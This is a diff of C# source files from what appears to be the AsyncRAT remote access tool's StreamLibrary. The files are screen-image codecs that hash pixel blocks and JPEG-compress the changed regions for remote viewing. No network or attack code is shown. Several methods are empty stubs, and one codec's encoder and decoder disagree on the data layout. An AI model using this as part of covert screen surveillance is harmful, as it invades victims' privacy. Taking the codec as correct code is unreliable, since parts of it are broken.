internal class GridBlock
|
||||
{
|
||||
public Rectangle Rect { get; private set; }
|
||||
public ulong Hash { get; private set; }
|
||||
private GridEncoder encoder;
|
||||
|
||||
public GridBlock(Rectangle Rect, GridEncoder encoder)
|
||||
{
|
||||
this.encoder = encoder;
|
||||
this.Rect = Rect;
|
||||
CalculateHash();
|
||||
}
|
||||
|
||||
public void CalculateHash()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,47 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
public class GridEncoder : IEncoder
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
|
||||
{
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
24
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
Normal file
24
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
Normal file
@ -0,0 +1,24 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public enum CodecOption
|
||||
{
|
||||
/// <summary>
|
||||
/// The Previous and next image size must be equal
|
||||
/// </summary>
|
||||
RequireSameSize,
|
||||
/// <summary>
|
||||
/// If the codec is having a stream buffer
|
||||
/// </summary>
|
||||
HasBuffers,
|
||||
/// <summary>
|
||||
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||
/// </summary>
|
||||
AutoDispose,
|
||||
/// <summary> No codec options were used </summary>
|
||||
None
|
||||
};
|
||||
}
|
||||
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs
Normal file
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs
Normal file
@ -0,0 +1,46 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IEncoder
|
||||
{
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IEncoder(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
Normal file
46
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
Normal file
@ -0,0 +1,46 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
||||
protected JpgCompression jpgCompression;
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
jpgCompression = new JpgCompression(value);
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IUnsafeCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
}
|
||||
}
|
||||
35
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
Normal file
35
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
Normal file
@ -0,0 +1,35 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IVideoCodec
|
||||
{
|
||||
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||
|
||||
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
protected JpgCompression jpgCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
public int ImageQuality { get; set; }
|
||||
|
||||
public IVideoCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.jpgCompression = new JpgCompression(ImageQuality);
|
||||
this.ImageQuality = ImageQuality;
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,324 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCacheCodec : IUnsafeCodec
|
||||
{
|
||||
private const int BlockCount = 5;
|
||||
private const int HashBlockCount = 8192;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Bitmap decodedBitmap;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private PixelFormat EncodedFormat;
|
||||
private MurmurHash2Unsafe hasher;
|
||||
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
|
||||
private Rectangle[] Offsets;
|
||||
private BlockInfo[] EncodeHashBlocks;
|
||||
private BlockInfo[] DecodeHashBlocks;
|
||||
|
||||
public ulong EncodedFrames { get; private set; }
|
||||
public ulong DecodedFrames { get; private set; }
|
||||
|
||||
public UnsafeCacheCodec(int ImageQuality = 80)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.hasher = new MurmurHash2Unsafe();
|
||||
this.Offsets = new Rectangle[BlockCount];
|
||||
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
for (int i = 0; i < HashBlockCount; i++)
|
||||
{
|
||||
EncodeHashBlocks[i] = new BlockInfo();
|
||||
DecodeHashBlocks[i] = new BlockInfo();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
if (ImageSize.Width == 0 || ImageSize.Height == 0)
|
||||
throw new ArgumentException("The width and height must be 1 or higher");
|
||||
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
|
||||
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
|
||||
|
||||
int PixelSize = 0;
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
int Stride = ImageSize.Width * PixelSize;
|
||||
int RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedFrames == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
|
||||
double size = (double)ImageSize.Width / (double)BlockCount;
|
||||
|
||||
//fix floating point here
|
||||
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
|
||||
{
|
||||
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
|
||||
}
|
||||
|
||||
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
for(int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
if (!EncodeBuffer.ContainsKey(y))
|
||||
EncodeBuffer.Add(y, new SortedList<int, uint>());
|
||||
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
|
||||
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<HashBlock> ImageOffsets = new List<HashBlock>();
|
||||
List<uint> ImageHashes = new List<uint>();
|
||||
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
Rectangle ScanRect = Offsets[i];
|
||||
ScanRect.Y = y;
|
||||
|
||||
int offset = (y * Stride) + (ScanRect.X * PixelSize);
|
||||
|
||||
if (offset+Stride > Stride * ImageSize.Height)
|
||||
break;
|
||||
|
||||
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
|
||||
uint BlockOffset = Hash % HashBlockCount;
|
||||
|
||||
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
|
||||
|
||||
if (EncodeBuffer[y][ScanRect.X] != Hash)
|
||||
{
|
||||
if (!blockInfo.Hashes.ContainsKey(Hash))
|
||||
{
|
||||
int index = ImageOffsets.Count - 1;
|
||||
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[index].Location;
|
||||
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
}
|
||||
|
||||
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
ImageHashes.Add(Hash);
|
||||
}
|
||||
EncodeBuffer[y][ScanRect.X] = Hash;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ImageOffsets.Count > 0)
|
||||
{
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
Rectangle TargetOffset = Offsets[i];
|
||||
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
|
||||
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
int blockStride = PixelSize * TargetOffset.Width;
|
||||
List<HashBlock> UsedOffsets = new List<HashBlock>();
|
||||
|
||||
for (int j = 0; j < ImageOffsets.Count; j++)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[j].Location;
|
||||
|
||||
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
|
||||
continue; //error in 1440p, did not tested futher
|
||||
|
||||
for (int o = 0, offset = 0; o < rect.Height; o++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
UsedOffsets.Add(ImageOffsets[j]);
|
||||
}
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
TmpBmp.Dispose();
|
||||
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
|
||||
if (UsedOffsets.Count > 0)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
|
||||
for (int j = 0; j < UsedOffsets.Count; j++)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
|
||||
}
|
||||
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
|
||||
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
|
||||
outStream.Write(CompressedImg, 0, CompressedImg.Length);
|
||||
}
|
||||
|
||||
|
||||
//TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
}
|
||||
|
||||
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
|
||||
{
|
||||
int height = 0;
|
||||
for (int i = 0; i < ImageOffsets.Count; i++)
|
||||
{
|
||||
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
|
||||
height += ImageOffsets[i].Location.Height;
|
||||
}
|
||||
return height;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
//return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
private class BlockInfo
|
||||
{
|
||||
public SortedList<uint, HashBlock> Hashes { get; private set; }
|
||||
public BlockInfo()
|
||||
{
|
||||
Hashes = new SortedList<uint, HashBlock>();
|
||||
}
|
||||
}
|
||||
private class HashBlock
|
||||
{
|
||||
public bool Cached { get; set; }
|
||||
public uint Hash { get; set; }
|
||||
public Rectangle Location { get; set; }
|
||||
|
||||
public HashBlock(uint Hash, bool Cached, Rectangle Location)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.Cached = Cached;
|
||||
this.Location = Location;
|
||||
}
|
||||
public HashBlock()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
private class ImageOffset
|
||||
{
|
||||
public Rectangle Location { get; set; }
|
||||
public List<uint> Hashes { get; set; }
|
||||
|
||||
public ImageOffset()
|
||||
{
|
||||
this.Hashes = new List<uint>();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,308 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCachedStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private static Size CheckBlock = new Size(50, 50);
|
||||
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
|
||||
private List<Frame> Frames = new List<Frame>();
|
||||
public const int MAX_FRAMES = 120;
|
||||
|
||||
private ulong[] DecodeBuffer;
|
||||
private Bitmap DecodedBitmap;
|
||||
private List<Bitmap> DecodedFrames = new List<Bitmap>();
|
||||
|
||||
public UnsafeCachedStreamCodec(int ImageQuality)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
|
||||
|
||||
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
|
||||
int RawSizeUsed = 0;
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
List<Rectangle> ChangedBlocks = new List<Rectangle>();
|
||||
|
||||
for(int y = ScanArea.Y; y < ScanArea.Height; )
|
||||
{
|
||||
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
|
||||
for (int x = ScanArea.X; x < ScanArea.Width; )
|
||||
{
|
||||
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
|
||||
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
|
||||
decimal FinalHash = 0;
|
||||
|
||||
for (int h = 0; h < height; h++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
|
||||
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
|
||||
}
|
||||
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(x, y, width, height));
|
||||
|
||||
bool FoundBlock = false;
|
||||
decimal FoundHash = 0;
|
||||
int FrameIndex = 0;
|
||||
for (int i = 0; i < Frames.Count; i++)
|
||||
{
|
||||
decimal hash = Frames[i].GetHashBlock(x, y);
|
||||
if (hash == FinalHash)
|
||||
{
|
||||
FrameIndex = i;
|
||||
FoundBlock = true;
|
||||
FoundHash = hash;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
frame.AddHashBlock(x, y, FinalHash);
|
||||
|
||||
if (!FoundBlock)
|
||||
{
|
||||
int index = ChangedBlocks.Count - 1;
|
||||
Rectangle cBlock = new Rectangle(x, y, width, height);
|
||||
|
||||
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}
|
||||
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newHeight = cBlock.Height + rect.Height;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}*/
|
||||
else
|
||||
{
|
||||
ChangedBlocks.Add(cBlock);
|
||||
}
|
||||
RawSizeUsed += BlockStride * height;
|
||||
}
|
||||
x += width;
|
||||
}
|
||||
y += height;
|
||||
}
|
||||
|
||||
//write all the blocks
|
||||
for (int i = 0; i < ChangedBlocks.Count; i++)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
ChangedBlocks.Clear();
|
||||
|
||||
Frames.Add(frame);
|
||||
if (Frames.Count > MAX_FRAMES)
|
||||
Frames.RemoveAt(0);
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (DecodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
DecodedFrames.Add(DecodedBitmap);
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(DecodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return new Bitmap(10, 10);
|
||||
}
|
||||
|
||||
private class HashedBlock
|
||||
{
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public int FrameIndex { get; private set; }
|
||||
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
|
||||
{
|
||||
this.X = x;
|
||||
